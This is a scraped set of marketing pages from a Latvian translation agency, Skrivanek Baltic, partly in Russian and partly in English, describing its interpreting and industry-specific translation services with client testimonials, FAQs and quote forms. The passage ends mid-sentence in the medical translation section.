Skrivanek является одним из крупнейших в мире поставщиков языковых услуг и обладает более чем 25-летним опытом работы в данной области. В настоящий момент у Skrivanek насчитывается почти 50 филиалов в разных странах мира. Латвийский филиал Skrivanek Baltic предлагает своим клиентам высококачественные языковые услуги с 2003 года. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO НЕСКОЛЬКО ПРИЧИН, ПОЧЕМУ НУЖНО ВЫБРАТЬ ИМЕННО НАС  Гарантия предоставления качественных услуг Наше предприятие сертифицировано согласно стандартам ISO 9001, EN 17100 и ISO 27001. Мы несем ответственность за проделанную работу и соблюдаем сроки ее выполнения! Читать дальше  Новейшие технологии перевода Мы используем новейшие научно-технические достижения для повышения качества и производительности! Читать дальше  Широкий спектр языковых решений Мы растем и развиваемся вместе с вами, чтобы предлагать самый широкий выбор лучших языковых решений в Балтии! Свяжитесь с нами ПРЕДЛАГАЕМ ЯЗЫКОВЫЕ РЕШЕНИЯ ДЛЯ РАЗНЫХ ОТРАСЛЕЙ БОЛЕЕ ЧЕМ В 300 ЯЗЫКОВЫХ КОМБИНАЦИЯХ Английский язык Греческий язык Датский язык Испанский язык Итальянский язык Латышский язык Литовский язык Немецкий язык Норвежский язык Польский язык Финский язык Французский язык Чешский язык Шведский язык Эстонский язык Другие языки Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  Узнать цену / задать вопрос Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Часто задаваемые вопросы Skrivanek Baltic — это сертифицированное бюро переводов, работающее в Латвии с 2003 года. Мы предлагаем языковые услуги высочайшего качества. Группа Skrivanek обладает более чем 25-летним опытом и является одним из крупнейших поставщиков языковых услуг в мире. В настоящее время она насчитывает почти пятьдесят филиалов в разных странах мира: США, Австрии, Бельгии, Болгарии, Чехии, Эстонии, Литве, Польше, Словакии, Словении и Германии. В 2007 году открылась Языковая школа Skrivanek Baltic, где взрослые и дети могут выучить иностранный язык и усовершенствовать свои навыки под руководством опытных, высококвалифицированных преподавателей, а также расширить свой лингвистический кругозор. Цена зависит от количества слов, языковой комбинации и других факторов. Пришлите нам материалы, и мы рассчитаем стоимость до начала работы. Получение расценки является бесплатным и не обязывает вас сотрудничать с нами. Да, частным лицам мы указываем цену с учетом НДС. Корпоративным клиентам, согласно общепринятой рыночной практике, сообщается стоимость услуги без НДС. Если документ доступен в формате Microsoft Word, воспользуйтесь функцией подсчета слов (Review Word Count). Если документ доступен в ином формате (распечатка, JPG, HTML, PHP, ASP и т. п. ), отправьте нам файл (-ы) по электронной почте, и мы пришлем вам бесплатный расчет. Мы договоримся о сроках до начала работы. В среднем перевод текста объемом до 500 слов выполняется за один полный рабочий день, до 1000 слов — не менее чем за полтора рабочих дня. При необходимости мы можем выполнить срочный перевод. Мы принимаем все электронные форматы. Если документ не доступен в электронном виде, пришлите нам его изображение или посетите наш офис на ул. Лачплеша, 87с. Мы можем перевести любой текст, сохранив форматирование оригинала, и принимаем документы практически в любом электронном формате. В случаях, когда необходимо выполнить локализацию, мы учитываем требования клиента и специальные настройки, заданные программным обеспечением. Конечно, с большим удовольствием. Skrivanek имеет обширную базу знаний и богатый опыт в области перевода и локализации различных веб-сайтов и систем управления содержимым. Мы гарантируем профессиональный подход и всегда находим оптимальное решение, которое позволяет добиться желаемого результата в заданных языковых комбинациях. Несмотря на то, что запросы в основном поступают от предприятий, мы с радостью оказываем услуги частным лицам. Чаще всего частным лицам требуются нотариально заверенные переводы; кроме того, очень востребованы языковые курсы и лагеря для детей и подростков. Наша команда окажет помощь в любой ситуации. Если это необходимо, мы гарантируем, что переведенный документ будет выглядеть точь-в-точь как оригинал. Кроме того, есть возможность оформить текст в соответствии с требованиями клиента — с этой целью к работе привлекается команда специалистов по компьютерной верстке. По мере возможности мы работаем с оригиналами документов в электронном формате, не изменяя их стиль и форматирование. Skrivanek Baltic имеет сертификаты ISO 9001, EN 17100, ISO 27001, EN ISO 14001, EN ISO 18585. Мы тщательно соблюдаем конфиденциальность и оговоренные сроки, а также берем на себя ответственность за выполненную работу. Стандарт EN 17100 устанавливает требования к управлению процессами в сфере переводческих услуг. Для спокойствия наших клиентов мы заключили договор профессиональной гражданско-правовой ответственности с международной страховой компанией Colonnade Insurance S. A. Кроме того, у нас можно заказать нотариально заверенные переводы и переводы, заверенные бюро. Нет, все заказы принимаются и управляются руководителем проектов, который выполняет роль посредника между заказчиком и переводчиком. Устные и письменные переводчики Skrivanek Baltic владеют более чем 110 языками! Мы выполняем устный и письменный перевод и предлагаем широкий спектр языковых решений. Наши устные переводчики работают на конференциях и деловых встречах, а также оказывают поддержку в ходе судебных процессов. Письменные переводы включают специализированные и общие переводы в различных областях. Кроме того, мы выполняем локализацию и адаптацию, занимаемся копирайтингом, компьютерной версткой и преподаванием языков. Да, очень часто мы создаем для своих партнеров команды специалистов по определенному языку: над текстами одного клиента всегда работает один и тот же переводчик. Смело расскажите нам о своих впечатлениях, и мы с радостью организуем перевод последующих текстов тем же специалистом. Отметим, что нашим постоянным клиентам также выделяется собственный руководитель проектов. Все зависит от конкретной договоренности и ваших требований. Продолжительность работы устного переводчика определяете только вы. В тех случаях, когда текст планируется использовать, например, в маркетинговых или рекламных целях, точного перевода недостаточно, его необходимо локализовать, заменив используемые идиомы или другие средства речевой выразительности на привычные для носителей целевого языка аналоги. Таким образом текст адаптируется к требованиям потенциальной аудитории. Переводческие инструменты (CAT-инструменты) — это предусмотренные для переводчиков компьютерные программы, которые облегчают процесс работы. Переводческие инструменты не применяются для осуществления машинного (автоматизированного) перевода. Они позволяют выполнить работу в более сжатые сроки, гарантируют последовательное использование терминов, помогают сэкономить деньги и имеют целый ряд других преимуществ. Такие инструменты сохраняют в памяти все пропущенные через нее тексты: специалисту не придется раз за разом переводить одинаковые предложения. CAT-инструменты рекомендованы для работы с финансовыми и техническими текстами, а также для перевода документации лекарственных препаратов, веб-сайтов и компьютерных программ. --- > Professional interpreting services at conferences, business meetings, negotiations, court hearings, etc. Local and foreign interpreters. - Published: 2017-11-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional CONSECUTIVE INTERPRETING Professional and easy to understand. Consecutive interpreting means that the interpreter first listens to the speaker and only then interprets what they have said into another language. This type of interpreting is essential during small meetings, business lunches and field trips. Read more SIMULTANEOUS INTERPRETING When interpreting for a large number of people and even in several language combinations at the same time, the best solution is simultaneous interpreting. This means that the spoken text is interpreted from inside an interpreter’s booth with a couple of seconds’ delay. Read more CONFERENCE INTERPRETING At conferences, it is more important to communicate the speaker’s ideas rather than to translate every single word. Our professional simultaneous interpreters are able to ensure communication between representatives of different cultures. Read more COURT INTERPRETING Legal language relies on precision, which is especially important at court. Our interpreters are experienced and well-versed in legal terminology. With their help, court proceedings will run smoothly. Read more OTHER TYPES OF INTERPRETING We also provide other types of interpreting services, such as whispered interpreting, interpreting over the phone, or interpreting of Skype/Zoom conferences. If you can’t find what you are looking for among the listed types of interpreting services, please contact our project managers – we will definitely find the right solution for you! Contact us ASSISTANT SERVICES If you need help with interpreting in everyday situations, such as communicating with government or municipal institutions, submitting documents, and so forth, the interpreter-assistant services are the right choice for you. Contact us, and we will find the best solution! Contact us LOOKING FOR INTERPRETING SERVICES OR CONSULTATION? We will prepare a tailored solution and consult you on your subject of interest. Send inquiry FREQUENTLY ASKED QUESTIONS Both of them are language experts, but the difference lies in that translators provide written translations, while interpreters provide oral translations, either consecutive or simultaneous. It depends on each individual case and your needs. Only you can decide how many hours an interpreter should spend with you. Yes, oftentimes we even create teams of language specialists for our cooperation partners, which means that the services are provided by the same translators or interpreters as before. We welcome your feedback and will gladly engage the same language specialist. Our regular clients also have their own project managers. WE PROVIDE INTERPRETATION SERVICES IN MORE THAN 40 DIFFERENT LANGUAGES Czech Language Danish Language Estonian Language Finnish Language French Language German Language Greek Language Italian Language Lithuanian Language Norwegian Language Polish Language Russian Language Spanish Language Swedish Language Other Languages MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality solutions for the construction industry: translation, interpreting, notary certification. Localisation and language training. Find out more! - Published: 2017-11-21 - Modified: 2023-10-30 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/ - Translation Priorities: Optional Working in the construction industry, you must know how important precision and deadlines are. You are professionals who can’t afford any deviations, because you understand how significant even the tiniest details are, and it is important to you that your partners are just as responsible. Skrivanek provides accurate and technically precise translation, interpreting and other language solutions to construction companies and is very conscientious when it comes to deadlines. Our team consists of language specialists with a background and knowledge in construction-specific matters, while our experienced project managers do their best to ensure a smooth work process, even on the most difficult projects. Whether you need a written translation or interpreter’s services at business meetings, Skrivanek language specialists will ensure the highest-quality results for all translations, including corporate publications, tender regulations and specifications, various marketing materials, technical project documentation, and any other texts you may need translated. Our team of language specialists includes not only people with philological education, but also people with a background in engineering sciences, which is crucial in ensuring the use of correct terminology. Building construction, road construction, various specialised indoor construction works, electrical installation, architect services, or any other type of construction work – we will pay attention to every detail, because this is the only way to ensure technically accurate translations that are up to standart. SKRIVANEK PROVIDES THE FOLLOWING SERVICES TO THE CONSTRUCTION INDUSTRY IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation of technical documentation for tenders and separate stages thereof; translation of various marketing materials in digital and printed format, including sales materials, product fact sheets and brochures; translation and formatting of drawings and layouts, including DTP solutions; translation of construction agreements, regulations and licences; translation of estimates and certificates; translations for the architecture industry; simultaneous or consecutive interpreting at various events, including conferences, business lunches or dinners, and business meetings; specialised language training; and other language solutions you might need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality solutions for the financial and banking industry: translation, interpreting, notary-certified translations and language training. - Published: 2017-11-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/ - Translation Priorities: Optional As financial sector professionals, you need a reliable partner who understands the nature of the industry and is able to provide qualitative solutions. Skrivanek has been providing sophisticated translation services to the financial sector for more than 30 years. Whether you are looking for someone to translate or proofread your texts, interpret your meetings or conferences, or adapt your SEO texts, Skrivanek language specialists will not let you down. Banks, financial institutions, lending institutions, and other companies working in the financial industry can be confident in the quality of our language solutions due to our good command of the industry’s terminology and understanding of legal details. When necessary, we can also adapt your texts to fit local needs. When cooperating with Skrivanek, you can be certain that you will receive tried and tested solutions and excellent client service – our language specialists have several years of experience in the financial industry. We will help you save time and finances because we use the most innovative translation and text processing technologies, as well as ensure the highest level of data security, thus protecting your data from being leaked to third parties. All orders are coordinated by our experienced project managers, who fully understand the needs of our clients and who, for the duration of your translation project, will become a part of your team. Thanks to our international experience and the large team of translators and interpreters, we can manage any job, no matter how big or urgent. SKRIVANEK PROVIDES THE FOLLOWING SOLUTIONS TO THE FINANCIAL SECTOR IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation of all types of marketing materials both in digital and printed format, including sales materials, style guidebooks, product fact sheets, e-mail campaigns, etc. ; translation of investment and market reports, annual reports, financial sector research; translation of various agreements, regulations, and licences; software localisation for the provision of financial services; simultaneous or consecutive interpreting at various events, including conferences, business lunches or dinners, and business meetings; language training, including specialised terminology; any other services you might need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Financial and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality solutions for the human resources industry: translation, interpreting. Localisation and language training. Find out more! - Published: 2017-11-21 - Modified: 2025-06-27 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/ - Translation Priorities: Optional Your goal in the human resources (HR) industry is to find and attract the top specialists in their field, who are able and willing to contribute to your projects. The Skrivanek team consists of language specialists who will help you find the right words in a foreign language so you may choose the best of the best to cooperate with. It is especially important when looking for employees who need to be able to communicate in several languages: our unique FOCUS tool will help you quickly and efficiently find out what language skills your candidates have and what their level of knowledge is. Whenever your employees are in need of improving their language skills, they are welcome to the Skrivanek Baltic Language School, which offers language courses of different levels and intensity. In human resources it is important to communicate the same company values to all employees, regardless of the language they are communicated in. Skrivanek language specialists will ensure precise translation and interpreting services in any of the biggest European languages, making sure that your intended meaning is not lost in translation. Skrivanek translators will provide qualitative translations of all the documents you might need translated, including work contracts, company regulations, internal corporate messages and others. Our language specialists perfectly understand the differences between various cultures and local markets and are thus able to create texts for specific audiences in any country and in any language. Furthermore, we can adapt texts to any target audience. WE PROVIDE THE FOLLOWING SOLUTIONS TO THE HUMAN RESOURCES INDUSTRY IN ALL OF THE MOST POPULAR LANGUAGES: translation of work contracts and other agreements; participation in work interviews and evaluation of candidate language skills; translation of internal rules; translation of internal communication materials; translation of recommendation letters; simultaneous or consecutive interpreting at various events, including conferences, business lunches or dinners, and business meetings; language training in groups and individually; online language competence audit tool FOCUS; and other language solutions you may need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality language solutions for the legal industry: translation, interpreting, notary-certified translations and language training. - Published: 2017-11-21 - Modified: 2025-06-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/ - Translation Priorities: Optional Your represented legal industry affects countless other procedures and processes, even human fate, so you better than anyone understand how important the right choice of words and phrasing can be. Skrivanek language specialists are well-orientated in the legal system, which means our language solutions will let you concentrate on your core business. Whether you need translations of contracts, laws and regulations, or court decisions, or interpreting services during court proceedings, Skrivanek language specialists will be there for you. Our team includes specialists who are familiar with the nature of legal texts and are able to translate the source text in a way that preserves both the content and legal meaning of the original document in the respective foreign language. When translating legal texts and documents, we strictly abide by the drafting and formatting requirements. Confidentiality is our priority when working with texts and clients of any industry. We are certified according to ISO 27001 and ISO 9001. We are proud and grateful for active cooperation with various government and municipal institutions, EU agencies, and well-known law firms. WE PROVIDE THE FOLLOWING SERVICES TO THE LEGAL INDUSTRY IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGE COMBINATIONS: translation of laws, regulations and drafts thereof; translation of contracts and projects thereof; translation of court decisions and case-law; translation of notices, claims and applications; translation of powers of attorney; translation of expert opinions and conclusions; simultaneous or consecutive interpreting at various events, including court proceedings and simultaneous interpreting in sign language; specialised language training for different levels of knowledge; assistant services to foreign representatives; and other languages solutions you may need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality language solutions for agriculture and forestry: translation, interpreting, notary certification. Localisation and language training. Find out more! - Published: 2017-11-21 - Modified: 2023-10-30 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/ - Translation Priorities: Optional Agriculture and forestry industries are crucial in the Latvian economy, but their development is unimaginable without cross-border cooperation. Communication without language barriers is one of the prerequisites for successful business development. Skrivanek language specialists will help you in communication with clients, partners and European Union institutions, so you may freely concentrate on your core business. Our translators and interpreters have vast experience both in translation, which includes the full spectrum of documentation, and interpreting, which includes large international projects. Furthermore, due to the agricultural knowledge of our specialists, we can ensure precise translations with the correct terminology of different agriculture and forestry machinery manuals and guidelines for the proper cultivation of crops in our region. The Skrivanek team of language specialists is big enough to find the most suitable specialist for your needs. Crop farming, live-stock farming, poultry farming, pig farming, sheep farming, plant cultivation, selective breeding, forestry science, and agricultural amelioration are the specialisations of our language specialists. For this reason, we are often the cooperation partner of choice for the government and municipal organisations and companies working in these industries. WE PROVIDE THE FOLLOWING LANGUAGE SOLUTIONS TO THE AGRICULTURE AND FORESTRY INDUSTRIES IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation of technical norms and documentation; translation of product and industry machinery descriptions; translation of scientific articles and research; translation of machinery maintenance and operation documents; translation of different types of licences, permits and other documents; explanations and clarification of EU directives; simultaneous or consecutive interpreting at various events, including conferences, seminars, experience exchanges and business meetings; specialised language training; and other language solutions you may need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality solutions for engineering and railways: translation, interpreting, notary-certified translations, localisation and language training. - Published: 2017-11-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/ - Translation Priorities: Optional Precision and punctuality are one of the most important qualities in the engineering and railway industries. You know perfectly well that there cannot be any deviations, and you need a partner who treats the entrusted tasks with the utmost responsibility. Furthermore, considering the global significance, diversity and high added value of these industries, even cooperation partners need in-depth knowledge and experience. We use the latest technological developments for ensuring quality and productivity daily, and we are here to support you on the road to success! Over the course of 30 years, Skrivanek language specialists have carried out countless translation and localisation projects for the engineering and railway industries. We are also currently actively involved in the introduction of a Baltic-wide railway infrastructure development project. We can confidently say that we have vast experience and the necessary technical knowledge in these industries and that we are strict about deadlines. Whether you need a written translation or interpreter’s services at various business meetings, Skrivanek team will not let you down. Skrivanek language specialists will carry out high-quality translations of all materials entrusted to us, including corporate publications, contracts, tender regulations and specifications, various marketing texts, and any other texts you may need translated. Our team of language specialists includes not only people with philological education, but also people with a background in engineering sciences, which is crucial in ensuring the use of correct terminology. Metal production and processing, manufacturing of machinery and machine tools, manufacturing of vehicles, including cars and trailers, system notifications, equipment repairs, manufacturing of electrical and optical equipment, as well as everything related to the railway industry, engineering and metal processing – our specialists have the necessary knowledge to ensure high-quality translations. WE PROVIDE THE FOLLOWING LANGUAGE SOLUTIONS TO THE ENGINEERING AND RAILWAY INDUSTRIES IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation and localisation of product descriptions; translation of installation and operation manuals, and system notifications; translation of business correspondence with the proper terminology; translation of advertising texts, marketing materials and annual reports; simultaneous or consecutive interpreting at various events, including seminars, conferences and business meetings; language courses of different levels and intensity; DTP – desktop publishing solutions for the proper formatting of materials; as well as any other services you might need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality, medical industry-specific services: translation, interpreting, notary-certified translations, localisation and language training. - Published: 2017-11-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/ - Translation Priorities: Optional WE ARE PROUD OF OUR COOPERATION WITH WELL-KNOWN MEDICAL AND CLINICAL TRIAL COMPANIES AND ORGANISATIONS. WE PROVIDE THE FOLLOWING SOLUTIONS IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation of medical documents (epicrises, clinical summaries, medical histories, laboratory tests, doctors’ opinions etc. ) and clinical trials; translation of pharmaceutical documentation (drug descriptions, various forms of information for doctors and patients, quality control documentation etc. ); translation of medical equipment documentation (operation instructions, equipment descriptions etc. ); translation and localization of scientific articles and websites dedicated to the medical and pharmaceutical industries; formatting of drawings and layouts, including DTP solutions; simultaneous or consecutive interpreting at conferences and seminars or in communication with patients, as well as simultaneous interpreting into sign language in communication with patients; language courses of various levels, including training of medical personnel for working abroad; as well as any other language solutions you may need. Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year Looking for a language service? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! The medical and clinical trial industries are demanding and uncompromising when it comes to any deviations. Any information that enters the medical industry is checked multiple times to make sure it is precise and unambiguous. Medical texts are one of the most difficult types of translations, which are carried out by certified specialists. This is why the Skrivanek medical text translation team consists of doctors and people with higher medical education, experience in philology, and excellent native language skills. When working with medical texts, translators and editors are fully aware of the liability that will arise from inaccurately or carelessly performed translations. Skrivanek language specialists ensure precision and are strict about deadlines. We are certified according to ISO 27001 and ISO 17100. Moreover, we guarantee that the information you have entrusted to us will not be disclosed to third parties. If you are in need of translations of various marketing brochures, patient medical records, clinical trial documentation, and other written materials, or if you are looking for interpreting services for conferences and other events, Skrivanek will be there for you, guaranteeing the best results. MEDICAL TEXTS Precision, care, the latest scientific achievements, modern technologies and responsibility – all this and even more characterises modern medicine in the most direct way. Medicine (Latin: medicina – “treatment”, “healing”) is a system of scientific knowledge and a set of practical actions for maintaining human health. By nature, medicine is a branch of science related to human health. It studies the human body, its structure, functions, but most of all diseases and their treatment options. The goal of medicine is to determine the origin and progress of diseases, as well as their diagnosis, treatment and prevention. Today, medicine is closely related to the latest scientific achievements in health care and the advantages of medical technology. The first civilisation to extensively study medicine and leave written records of its practices and procedures was ancient Egypt. The oldest surviving Egyptian medical texts are six papyri. Between 2000 and 1500 B. C. E. , Egyptian medicine influenced the medicine of neighbouring lands, including the development of ancient Greek medicine. From Greece, its influence spread further, thus significantly influencing the development of medicine in Western civilisation. Today, with the rapid development of medical science, technology, treatment methods, practices, pharmaceutical factories, large-scale conferences on medicine and medical equipment, and their production, are regularly held all over the world; young doctors study and train in different countries of the world, and exchange experience. New medical textbooks are published, studies are dated, publications are written to share the latest information among all people in the world, whose activities are related to medicine. These texts are written in different languages, so the translation of medical texts and translators and interpreters of medical texts are of great importance. TRANSLATION OF MEDICAL TEXTS Medical texts are one of the most difficult types of translations, which are carried out by certified specialists. This is why the Skrivanek medical text translation team consists of doctors and people with higher medical education, experience in philology, and excellent native language skills. When working with medical texts, translators and editors are fully aware of the liability that will arise from inaccurately or carelessly performed translations. Medical translation includes the obligatory study of complex terminology and glossary, the accuracy of the text shall be respected, the latest medical knowledge shall be acquired and the text to be translated shall be understood. Companies operating in the healthcare industry, such as pharmaceutical companies, clinical research organisations, and medical and surgical equipment manufacturers, depend heavily on the best medical translation service providers to ensure consistent and accurate content. Medical translation is also the translation of various documents– educational materials, medical bulletins, drug descriptions, etc. – translation for the needs of healthcare professionals and patients. Instructions for the use of medical devices, marketing materials or clinical, legal and technical documentation shall also be translated. Currently, all countries of the European Union require companies and organisations to translate descriptions of labels of medical devices or pharmaceutical products into the national language. Clinical trial documents often need to be translated for local physicians, patients, and regulatory representatives. Currently, taking into account the 